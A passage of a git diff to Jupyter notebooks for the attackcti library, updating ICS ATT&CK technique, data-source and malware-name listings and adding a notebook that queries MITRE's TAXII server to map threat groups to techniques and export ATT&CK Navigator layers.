"ICS_TECHNIQUES = TC_ICS_SOURCE.query(Filter(\"type\", \"=\", \"attack-pattern\"))\n", - "print(ICS_TECHNIQUES[0])" + "ICS_TECHNIQUES[0]" ] }, { @@ -280,95 +254,96 @@ "name": "stdout", "output_type": "stream", "text": [ + "T0864 -- Transient Cyber Asset\n", "T0888 -- Remote System Information Discovery\n", "T0834 -- Native API\n", "T0890 -- Exploitation for Privilege Escalation\n", - "T0821 -- Modify Controller Tasking\n", "T0889 -- Modify Program\n", + "T0821 -- Modify Controller Tasking\n", "T0886 -- Remote Services\n", "T0837 -- Loss of Protection\n", "T0878 -- Alarm Suppression\n", "T0806 -- Brute Force I/O\n", + "T0885 -- Commonly Used Port\n", + "T0810 -- Data Historian Compromise\n", + "T0815 -- Denial of View\n", + "T0818 -- Engineering Workstation Compromise\n", + "T0866 -- Exploitation of Remote Services\n", + "T0824 -- I/O Module Discovery\n", + "T0826 -- Loss of Availability\n", + "T0829 -- Loss of View\n", + "T0849 -- Masquerading\n", + "T0836 -- Modify Parameter\n", + "T0840 -- Network Connection Enumeration\n", + "T0844 -- Program Organization Units\n", + "T0850 -- Role Identification\n", + "T0851 -- Rootkit\n", + "T0865 -- Spearphishing Attachment\n", + "T0882 -- Theft of Operational Information\n", + "T0860 -- Wireless Compromise\n", + "T0802 -- Automated Collection\n", + "T0875 -- Change Program State\n", "T0884 -- Connection Proxy\n", "T0811 -- Data from Information Repositories\n", "T0868 -- Detect Operating Mode\n", "T0871 -- Execution through API\n", "T0822 -- External Remote Services\n", "T0872 -- Indicator Removal on Host\n", - "T0828 -- Loss of Productivity and Revenue\n", - "T0835 -- Manipulate I/O Image\n", - "T0801 -- Monitor Process State\n", - "T0843 -- Program Download\n", + "T0827 -- Loss of Control\n", + "T0830 -- Man in the Middle\n", + "T0841 -- Network Service Scanning\n", + "T0845 -- Program Upload\n", + "T0846 -- Remote System Discovery\n", + "T0852 -- Screen Capture\n", + "T0856 -- Spoof Reporting Message\n", + "T0855 -- Unauthorized Command Message\n", + "T0887 -- Wireless Sniffing\n", + "T0800 -- Activate Firmware Update Mode\n", + "T0805 -- Block Serial COM\n", + "T0809 -- Data Destruction\n", + "T0814 -- Denial of Service\n", + "T0817 -- Drive-by Compromise\n", + "T0877 -- I/O Image\n", "T0867 -- Lateral Tool Transfer\n", - "T0854 -- Serial Connection Enumeration\n", - "T0862 -- Supply Chain Compromise\n", + "T0880 -- Loss of Safety\n", + "T0832 -- Manipulation of View\n", + "T0833 -- Modify Control Logic\n", + "T0843 -- Program Download\n", + "T0848 -- Rogue Master\n", + "T0881 -- Service Stop\n", + "T0857 -- System Firmware\n", "T0859 -- Valid Accounts\n", - "T0802 -- Automated Collection\n", - "T0875 -- Change Program State\n", + "T0803 -- Block Command Message\n", + "T0858 -- Change Operating Mode\n", "T0808 -- Control Device Identification\n", "T0812 -- Default Credentials\n", "T0870 -- Detect Program State\n", "T0819 -- Exploit Public-Facing Application\n", "T0823 -- Graphical User Interface\n", "T0883 -- Internet Accessible Device\n", - "T0831 -- Manipulation of Control\n", - "T0833 -- Modify Control Logic\n", - "T0840 -- Network Connection Enumeration\n", - "T0844 -- Program Organization Units\n", - "T0848 -- Rogue Master\n", - "T0881 -- Service Stop\n", - "T0857 -- System Firmware\n", - "T0860 -- Wireless Compromise\n", - "T0804 -- Block Reporting Message\n", - "T0807 -- Command-Line Interface\n", - "T0809 -- Data Destruction\n", - "T0814 -- Denial of Service\n", - "T0817 -- Drive-by Compromise\n", - "T0877 -- I/O Image\n", - "T0826 -- Loss of Availability\n", - "T0829 -- Loss of View\n", - "T0849 -- Masquerading\n", + "T0828 -- Loss of Productivity and Revenue\n", + "T0835 -- Manipulate I/O Image\n", + "T0838 -- Modify Alarm Settings\n", "T0839 -- Module Firmware\n", "T0842 -- Network Sniffing\n", "T0873 -- Project File Infection\n", - "T0852 -- Screen Capture\n", - "T0856 -- Spoof Reporting Message\n", - "T0855 -- Unauthorized Command Message\n", - "T0800 -- Activate Firmware Update Mode\n", - "T0805 -- Block Serial COM\n", - "T0885 -- Commonly Used Port\n", - "T0810 -- Data Historian Compromise\n", - "T0815 -- Denial of View\n", - "T0818 -- Engineering Workstation Compromise\n", - "T0866 -- Exploitation of Remote Services\n", - "T0824 -- I/O Module Discovery\n", - "T0827 -- Loss of Control\n", - "T0830 -- Man in the Middle\n", - "T0838 -- Modify Alarm Settings\n", - "T0861 -- Point & Tag Identification\n", - "T0850 -- Role Identification\n", - "T0847 -- Replication Through Removable Media\n", "T0853 -- Scripting\n", "T0869 -- Standard Application Layer Protocol\n", - "T0863 -- User Execution\n", - "T0803 -- Block Command Message\n", - "T0858 -- Change Operating Mode\n", + "T0804 -- Block Reporting Message\n", + "T0807 -- Command-Line Interface\n", "T0879 -- Damage to Property\n", "T0813 -- Denial of Control\n", "T0816 -- Device Restart/Shutdown\n", "T0820 -- Exploitation for Evasion\n", "T0874 -- Hooking\n", "T0825 -- Location Identification\n", - "T0880 -- Loss of Safety\n", - "T0832 -- Manipulation of View\n", - "T0836 -- Modify Parameter\n", - "T0841 -- Network Service Scanning\n", - "T0845 -- Program Upload\n", - "T0846 -- Remote System Discovery\n", - "T0851 -- Rootkit\n", - "T0865 -- Spearphishing Attachment\n", - "T0882 -- Theft of Operational Information\n", - "T0887 -- Wireless Sniffing\n" + "T0831 -- Manipulation of Control\n", + "T0801 -- Monitor Process State\n", + "T0861 -- Point & Tag Identification\n", + "T0847 -- Replication Through Removable Media\n", + "T0854 -- Serial Connection Enumeration\n", + "T0862 -- Supply Chain Compromise\n", + "T0863 -- User Execution\n" ] } ], @@ -381,7 +356,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "## ICS ATT&CK Available in attackcti 0.3.4.3\n", + "## ICS ATT&CK Available since attackcti 0.3.4.3\n", "Reference: https://pypi.org/project/attackcti/" ] }, @@ -394,7 +369,7 @@ "name": "stdout", "output_type": "stream", "text": [ - "Techniques Count: 89\n" + "Techniques Count: 78\n" ] } ], @@ -412,47 +387,18 @@ "metadata": {}, "outputs": [ { - "name": "stdout", - "output_type": "stream", - "text": [ - "{\n", - " \"type\": \"attack-pattern\",\n", - " \"id\": \"attack-pattern--2fedbe69-581f-447d-8a78-32ee7db939a9\",\n", - " \"created_by_ref\": \"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5\",\n", - " \"created\": \"2021-04-13T12:45:26.506Z\",\n", - " \"modified\": \"2021-04-13T12:45:26.506Z\",\n", - " \"name\": \"Remote System Information Discovery\",\n", - " \"description\": \"An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system\\u2019s operational role and model information can dictate whether it is a relevant target for the adversary\\u2019s operational objectives. In addition, the system\\u2019s configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system\\u2019s API.\",\n", - " \"kill_chain_phases\": [\n", - " {\n", - " \"kill_chain_name\": \"mitre-ics-attack\",\n", - " \"phase_name\": \"discovery-ics\"\n", - " }\n", - " ],\n", - " \"external_references\": [\n", - " {\n", - " \"source_name\": \"mitre-ics-attack\",\n", - " \"url\": \"https://collaborate.mitre.org/attackics/index.php/Technique/T0888\",\n", - " \"external_id\": \"T0888\"\n", - " }\n", - " ],\n", - " \"object_marking_refs\": [\n", - " \"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168\"\n", - " ],\n", - " \"x_mitre_data_sources\": [\n", - " \"Network protocol analysis\",\n", - " \"Packet capture\"\n", - " ],\n", - " \"x_mitre_platforms\": [\n", - " \"Safety Instrumented System/Protection Relay\",\n", - " \"Field Controller/RTU/PLC/IED\"\n", - " ]\n", - "}\n" - ] + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--35392fb4-a31d-4c6a-b9f2-1c65b7f5e6b9', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-14T15:25:32.143Z', modified='2021-10-14T15:25:32.143Z', name='Transient Cyber Asset', description='Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: NERC June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required.\\n\\nAdversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices.\\n\\nTransient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems.\\n\\nIn the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system. (Citation: Maroochy - MITRE - 200808)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-ics-attack', phase_name='initial-access-ics')], revoked=False, external_references=[ExternalReference(source_name='mitre-ics-attack', url='https://collaborate.mitre.org/attackics/index.php/Technique/T0864', external_id='T0864'), ExternalReference(source_name='NERC June 2021', description=' North American Electric Reliability Corporation. (2021, June 28). Glossary of Terms Used in NERC Reliability Standards. Retrieved October 11, 2021.', url='https://www.nerc.com/files/glossary_of_terms.pdf'), ExternalReference(source_name='Maroochy - MITRE - 200808', description='Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', url='https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'), ExternalReference(source_name='NIST Apr 2013', description='National Institute of Standards and Technology. (2013, April). Security and Privacy Controls for Federal Information Systems and Organizations. Retrieved September 17, 2020.', url='https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf'), ExternalReference(source_name='NAFT Dec 2019', description='North America Transmission Forum. (2019, December). NATF Transient Cyber Asset Guidance. Retrieved September 25, 2020.', url='https://www.natf.net/docs/natf/documents/resources/security/natf-transient-cyber-asset-guidance.pdf'), ExternalReference(source_name='Emerson Exchange', description='Emerson Exchange. (n.d.). Increase Security with TPM, Secure Boot, and Trusted Boot. Retrieved September 25, 2020.', url='https://emersonexchange365.com/products/control-safety-systems/f/plc-pac-systems-industrial-computing-forum/8383/increase-security-with-tpm-secure-boot-and-trusted-boot'), ExternalReference(source_name='National Security Agency Feb 2016', description='National Security Agency. (2016, February). Position Zero: Integrity Checking Windows-Based ICS/SCADA Systems. Retrieved September 25, 2020.', url='https://apps.nsa.gov/iaarchive/library/ia-guidance/security-configuration/industrial-control-systems/position-zero-integrity-checking-windows-based-ics-scada-systems.cfm')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_data_sources=['Network Traffic: Network Flows', 'Network Traffic: Network Connections', 'Assets: Asset Inventory'], x_mitre_platforms=['Engineering Workstation'])" + ] + }, + "execution_count": 15, + "metadata": {}, + "output_type": "execute_result" } ], "source": [ - "print(ICS_TECHNIQUES[0])" + "ICS_TECHNIQUES[0]" ] }, { @@ -470,47 +416,42 @@ { "data": { "text/plain": [ - "['Network protocol analysis',\n", - " 'Packet capture',\n", - " 'API monitoring',\n", - " 'Process monitoring',\n", - " 'System calls',\n", - " 'Sequential event recorder',\n", - " 'Controller program',\n", - " 'Windows event logs',\n", - " 'Authentication logs',\n", - " 'Alarm history',\n", - " 'Alarm thresholds',\n", - " 'Data historian',\n", - " 'Netflow/Enclave netflow',\n", - " 'Process use of network',\n", - " 'Application logs',\n", - " 'Data loss prevention',\n", - " 'Third-party application logs',\n", - " 'File monitoring',\n", - " 'Process command-line parameters',\n", - " 'Network device logs',\n", - " 'Host network interfaces',\n", - " 'Web proxy',\n", - " 'Detonation chamber',\n", - " 'Digital signatures',\n", - " 'Web logs',\n", - " 'Web application firewall logs',\n", - " 'Binary file metadata',\n", - " 'Asset management',\n", - " 'Windows Registry',\n", - " 'Network intrusion detection system',\n", - " 'Alarm History',\n", - " 'process use of network',\n", - " 'SSl/TLS inspection',\n", - " 'File Monitoring',\n", - " 'Windows error reporting',\n", - " 'Windows registry',\n", - " 'Controller parameters',\n", - " 'Malware reverse engineering',\n", - " 'Anti-virus',\n", - " 'Email gateway',\n", - " 'Mail server']" + "['Network Traffic: Network Flows',\n", + " 'Network Traffic: Network Connections',\n", + " 'Assets: Asset Inventory',\n", + " 'Network Traffic: Network Traffic Content',\n", + " 'Application Log: Application Log Content',\n", + " 'Process: OS API Execution',\n", + " 'File: File Modification',\n", + " 'Asset: Software/Firmware',\n", + " 'Command: Command Execution',\n", + " 'Logon Session: Logon Session Creation',\n", + " 'Network Share: Network Share Access',\n", + " 'Network Traffic: Network Connection Creation',\n", + " 'Network Traffic: Network Traffic Flow',\n", + " 'Process: Process Creation',\n", + " 'Operational Databases: Process History/Live Data',\n", + " 'Operational Databases: Process/Event Alarm',\n", + " 'File: File Metadata',\n", + " 'Scheduled Job: Scheduled Job Metadata',\n", + " 'Scheduled Job: Scheduled Job Modification',\n", + " 'Service: Service Creation',\n", + " 'Service: Service Metadata',\n", + " 'Operational Databases: Device Alarm',\n", + " 'Asset: Device Configuration/Parameters',\n", + " 'Drive: Drive Modification',\n", + " 'Firmware: Firmware Modification',\n", + " 'Module: Module Load',\n", + " 'File: File Access',\n", + " 'Script: Script Execution',\n", + " 'Logon Session: Logon Session Metadata',\n", + " 'File: File Deletion',\n", + " 'User Account: User Account Authentication',\n", + " 'Windows Registry: Windows Registry Key Deletion',\n", + " 'Windows Registry: Windows Registry Key Modification',\n", + " 'Process: Process Termination',\n", + " 'File: File Creation',\n", + " 'Drive: Drive Creation']" ] }, "execution_count": 16, @@ -545,8 +486,8 @@ "output_type": "stream", "text": [ "TEMP.Veles\n", - "HEXANE\n", "Dragonfly 2.0\n", + "HEXANE\n", "APT33\n", "OilRig\n", "Dragonfly\n", @@ -578,20 +519,21 @@ "name": "stdout", "output_type": "stream", "text": [ + "Conficker\n", "EKANS\n", + "Bad Rabbit\n", + "KillDisk\n", + "Industroyer\n", + "Stuxnet\n", + "REvil\n", "Ryuk\n", "LockerGoga\n", - "PLC-Blaster\n", - "Stuxnet\n", + "Triton\n", "VPNFilter\n", + "PLC-Blaster\n", "NotPetya\n", - "Triton\n", "WannaCry\n", "Flame\n", - "Industroyer\n", - "Killdisk\n", - "Bad Rabbit\n", - "Conficker\n", "Backdoor.Oldrea\n", "ACAD/Medre.A\n", "BlackEnergy\n", @@ -604,13 +546,6 @@ "for MALWARE in ICS_MALWARE:\n", " print(MALWARE['name'])" ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [] } ], "metadata": { @@ -629,7 +564,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.8.8" + "version": "3.9.5" } }, "nbformat": 4, diff --git a/docs/playground/7-Export_Groups_Navigator_Layers.ipynb b/docs/playground/7-Export_Groups_Navigator_Layers.ipynb new file mode 100644 index 0000000..734d058 --- /dev/null +++ b/docs/playground/7-Export_Groups_Navigator_Layers.ipynb @@ -0,0 +1,634 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Exporting ATT&CK Group Navigator Layers" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get Relationship STIX Objects - (Manual)\n", + "-----------------------\n", + "I believe it is important to understand the code behind the main functions available in the Python library [attackcti](https://attackcti.readthedocs.io/en/latest/index.html). I highly recommend to first read the docs I put together about [cti-taxii-client](https://attackcti.readthedocs.io/en/latest/taxii_client.html) and [cti-python-stix2](https://attackcti.readthedocs.io/en/latest/stix.html) libraries.\n", + "Those two summarize several of the concepts that I had to read to understand how to perform a simple query against ATT&CK's TAXII server" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import STIX and TAXII Libraries" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from stix2 import TAXIICollectionSource, Filter, CompositeDataSource\n", + "from taxii2client.v20 import Collection\n", + "\n", + "import logging\n", + "logging.getLogger('taxii2client').setLevel(logging.CRITICAL)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Set ATT&CK TAXII Collection ID Variables\n", + "The public ATT&CK TAXII instance has three main collections (Enterprise, Pre and Mobile). Every collection has an ID which attackcti uses to retrieve ATT&CK STIX objects from all those matrices." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "ATTACK_STIX_COLLECTIONS = \"https://cti-taxii.mitre.org/stix/collections/\"\n", + "ENTERPRISE_ATTACK = \"95ecc380-afe9-11e4-9b6c-751b66dd541e\"\n", + "PRE_ATTACK = \"062767bd-02d2-4b72-84ba-56caef0f8658\"\n", + "MOBILE_ATTACK = \"2f669986-b40b-4423-b720-4396ca6a462b\"\n", + "ICS_ATTACK = \"02c3ef24-9cd4-48f3-a99f-b74ce24f1d34\"" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Initialize TAXII Collection Sources\n", + "According to [STIX2 docs](https://stix2.readthedocs.io/en/latest/index.html), the [TAXIICollectionSource API](https://stix2.readthedocs.io/en/latest/api/datastore/stix2.datastore.taxii.html#stix2.datastore.taxii.TAXIICollectionSource) provides an interface for searching/retrieving STIX objects from a local/remote TAXII Collection endpoint. In our case, we are pointing to our ATT&CK TAXII Collection instances (https://cti-taxii.mitre.org/stix/collections/)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "ENTERPRISE_COLLECTION = Collection(ATTACK_STIX_COLLECTIONS + ENTERPRISE_ATTACK + \"/\")\n", + "TC_ENTERPRISE_SOURCE = TAXIICollectionSource(ENTERPRISE_COLLECTION)\n", + "PRE_COLLECTION = Collection(ATTACK_STIX_COLLECTIONS + PRE_ATTACK + \"/\")\n", + "TC_PRE_SOURCE = TAXIICollectionSource(PRE_COLLECTION)\n", + "MOBILE_COLLECTION = Collection(ATTACK_STIX_COLLECTIONS + MOBILE_ATTACK + \"/\")\n", + "TC_MOBILE_SOURCE = TAXIICollectionSource(MOBILE_COLLECTION)\n", + "ICS_COLLECTION = Collection(ATTACK_STIX_COLLECTIONS + ICS_ATTACK + \"/\")\n", + "TC_ICS_SOURCE = TAXIICollectionSource(ICS_COLLECTION)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Initialize a Composite Data Source\n", + "According to [STIX2 docs](https://stix2.readthedocs.io/en/latest/index.html), a user can have a single [CompositeDataSource](https://stix2.readthedocs.io/en/latest/api/stix2.datastore.html#stix2.datastore.CompositeDataSource) as an interface to a set of DataSources. When an API call is made to the CompositeDataSource, it is delegated to each of the (real) DataSources that are attached to it. In our case, we have three TAXIICollection sources (Enterprise, PRE and Mobile) as defined in our previous step. Therefore, we can use the CompositeDataSource class and the add_data_sources method to attach every ATT&CK TAXIICollection source and be able to query all of them at the same time." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "COMPOSITE_DS = CompositeDataSource()\n", + "COMPOSITE_DS.add_data_sources([TC_ENTERPRISE_SOURCE, TC_PRE_SOURCE, TC_MOBILE_SOURCE, TC_ICS_SOURCE])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Retrieve all relationships\n", + "Now that we can query all the ATT&CK TAXIICollection sources at once, we can use the query method and a set of filters to retrieve STIX objects of type relationship" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "rels = COMPOSITE_DS.query(Filter(\"type\", \"=\", \"relationship\"))\n", + "rels[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Retrieve all relationships from an specific STIX object\n", + "What if you want to be very specific and get relationships from a specific STIX objects? You can use the [relationships](https://stix2.readthedocs.io/en/latest/api/stix2.datastore.html#stix2.datastore.CompositeDataSource.relationships) method from the [CompositeDataSource](https://stix2.readthedocs.io/en/latest/api/stix2.datastore.html#stix2.datastore.CompositeDataSource) class to retrieve relationships involving a given STIX object." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client\n", + "lift = attack_client()\n", + "\n", + "groups = lift.get_groups()\n", + "\n", + "rels = COMPOSITE_DS.relationships(groups[0], 'uses', source_only=True)\n", + "rels[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Get Relationship STIX Objects - (Automatic)\n", + "-----------------------" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Retrieve all relationships" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client\n", + "lift = attack_client()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%time all_relationships = lift.get_relationships()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "all_relationships[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Retrieve all relationships from an specific STIX object" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "groups = lift.get_groups()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%time group_relationships = lift.get_relationships_by_object(groups[0])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "group_relationships[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Retrive Techniques used by one Group - (Manual)\n", + "-----------------------" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "In this case we want relationship objects that have target_ref values of type attack-pattern. Following the manual code I shared above, and the results from the `get_relationships_by_object()` function, you can simply query the ATT&CK Enterprise TAXIICollection source with the filter below" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "filter_objects = [\n", + " Filter('type', '=', 'attack-pattern'),\n", + " Filter('id', '=', [r.target_ref for r in group_relationships])\n", + "]\n", + "techniques_used = TC_ENTERPRISE_SOURCE.query(filter_objects)\n", + "techniques_used[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Retrive Techniques used by one Group - (Automatic)\n", + "-----------------------" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client\n", + "lift = attack_client()\n", + "groups = lift.get_groups()\n", + "group_techniques = lift.get_techniques_used_by_group(groups[0])\n", + "group_techniques[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Retrive all Techniques used by all Groups - (Manual)\n", + "-----------------------\n", + "You can apply the same get_techniques_used_by_group() function, but against all the groups STIX objects that the get_groups() function retrieves. You can do a simple for loop over more than 90 groups. However, it takes longer than what I would like it to take. Therefore, I decided to go a different route and started testing some code." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get all groups and techniques" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client\n", + "lift = attack_client()\n", + "groups = lift.get_groups()\n", + "techniques = lift.get_techniques()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Filter Group objects using techniques" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from stix2.utils import get_type_from_id\n", + "\n", + "group_relationships = []\n", + "for rel in all_relationships:\n", + " if get_type_from_id(rel.source_ref) == 'intrusion-set'\\\n", + " and get_type_from_id(rel.target_ref) == 'attack-pattern':\n", + " group_relationships.append(rel)\n", + "len(group_relationships)\n", + "print(group_relationships[0])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Match Group -> Relationships Intrusion-set ID\n", + "Then, I just take all the group_relationships I got, and look for the specific `intrusion-set (Group)` id in the groups STIX objects. Once there is a match, I create new fields on the `intrusion-set (Group)` STIX object to add additional information about the `attack-pattern (Technique)` in the relationship object. The most important additional metadata is the target_ref field which points to the specific `attack-pattern (Technique)` id involving the `group`. The results are then added to a new list named `group_techniques_ref` ." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import json\n", + "group_techniques_ref = []\n", + "for g in groups:\n", + " for rel in group_relationships:\n", + " if g['id'] == rel['source_ref']:\n", + " gs = json.loads(g.serialize())\n", + " gs\n", + " gs['technique_ref'] = rel['target_ref']\n", + " gs['relationship_description'] = rel['description']\n", + " gs['relationship_id'] = rel['id']\n", + " group_techniques_ref.append(gs)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Match Attack-patterns -> Intrusion-set object ID\n", + "I apply the same concept as before, and just loop through all the attack-pattern objects and look for the specific attack-pattern id in the initial relationships STIX objects. Once there is a match, I add additional information from the attack-pattern itself to the python dictionaries in the `group_techniques_ref` list. The results then get added to a new list named `groups_use_techniques`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "groups_use_techniques = []\n", + "for gt in group_techniques_ref:\n", + " for t in techniques:\n", + " if gt['technique_ref'] == t['id']:\n", + " tactic_list = list()\n", + " for phase in t['kill_chain_phases']:\n", + " tactic_list.append(phase['phase_name'])\n", + " gt['technique'] = t['name']\n", + " gt['technique_description'] = t['description']\n", + " gt['tactic'] = tactic_list\n", + " gt['technique_id'] = t['external_references'][0]['external_id']\n", + " gt['matrix'] = t['external_references'][0]['source_name']\n", + " if 'x_mitre_platforms' in t.keys():\n", + " gt['platform'] = t['x_mitre_platforms']\n", + " if 'x_mitre_data_sources' in t.keys():\n", + " gt['data_sources'] = t['x_mitre_data_sources']\n", + " if 'x_mitre_permissions_required' in t.keys():\n", + " gt['permissions_required'] = t['x_mitre_permissions_required']\n", + " if 'x_mitre_effective_permissions' in t.keys():\n", + " gt['effective_permissions'] = t['x_mitre_effective_permissions']\n", + " groups_use_techniques.append(gt)\n", + "groups_use_techniques[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Retrive all Techniques used by all Groups - (Automatic)\n", + "-----------------------" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client\n", + "lift = attack_client()\n", + "\n", + "%time techniques_used = lift.get_techniques_used_by_all_groups()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "len(techniques_used)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "techniques_used[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Create Navigator Group Layer Files - (Manual)\n", + "-----------------------" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Create a list of group dictionaries\n", + "To make things easier, I create a list of dictionaries where each group name is the main key and the value is a list where I append every single technique involving that group. I get that information from the `get_techniques_used_by_all_groups()` results." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "groups = lift.get_groups()\n", + "groups = lift.remove_revoked(groups)\n", + "groups_list = []\n", + "for g in groups:\n", + " group_dict = dict()\n", + " group_dict[g['name']] = []\n", + " groups_list.append(group_dict)\n", + "groups_list[89]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Group techniques by group\n", + "We can then use the output of the `get_techniques_used_by_all_groups()` function and start appending techniques to the dictionaries with the key name that matches the group name being involved with each technique." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "for group in groups_list:\n", + " for group_name,techniques_list in group.items():\n", + " for gut in techniques_used:\n", + " if group_name == gut['name']:\n", + " technique_dict = dict()\n", + " technique_dict['techniqueId'] = gut['technique_id']\n", + " technique_dict['techniqueName'] = gut['technique']\n", + " technique_dict['comment'] = gut['relationship_description']\n", + " technique_dict['tactic'] = gut['tactic']\n", + " technique_dict['group_id'] = gut['external_references'][0]['external_id']\n", + " techniques_list.append(technique_dict)\n", + "groups_list[89]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Run dynamic navigator layer template" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import json\n", + "for group in groups_list:\n", + " for k,v in group.items():\n", + " if v:\n", + " actor_layer = {\n", + " \"description\": (\"Enterprise techniques used by {0}, ATT&CK group {1} v1.0\".format(k,v[0]['group_id'])),\n", + " \"name\": (\"{0} ({1})\".format(k,v[0]['group_id'])),\n", + " \"domain\": \"mitre-enterprise\",\n", + " \"version\": \"2.2\",\n", + " \"techniques\": [\n", + " {\n", + " \"score\": 1,\n", + " \"techniqueID\" : technique['techniqueId'],\n", + " \"techniqueName\" : technique['techniqueName'],\n", + " \"comment\": technique['comment']\n", + " } for technique in v\n", + " ],\n", + " \"gradient\": {\n", + " \"colors\": [\n", + " \"#ffffff\",\n", + " \"#ff6666\"\n", + " ],\n", + " \"minValue\": 0,\n", + " \"maxValue\": 1\n", + " },\n", + " \"legendItems\": [\n", + " {\n", + " \"label\": (\"used by {}\".format(k)),\n", + " \"color\": \"#ff6666\"\n", + " }\n", + " ]\n", + " }\n", + " with 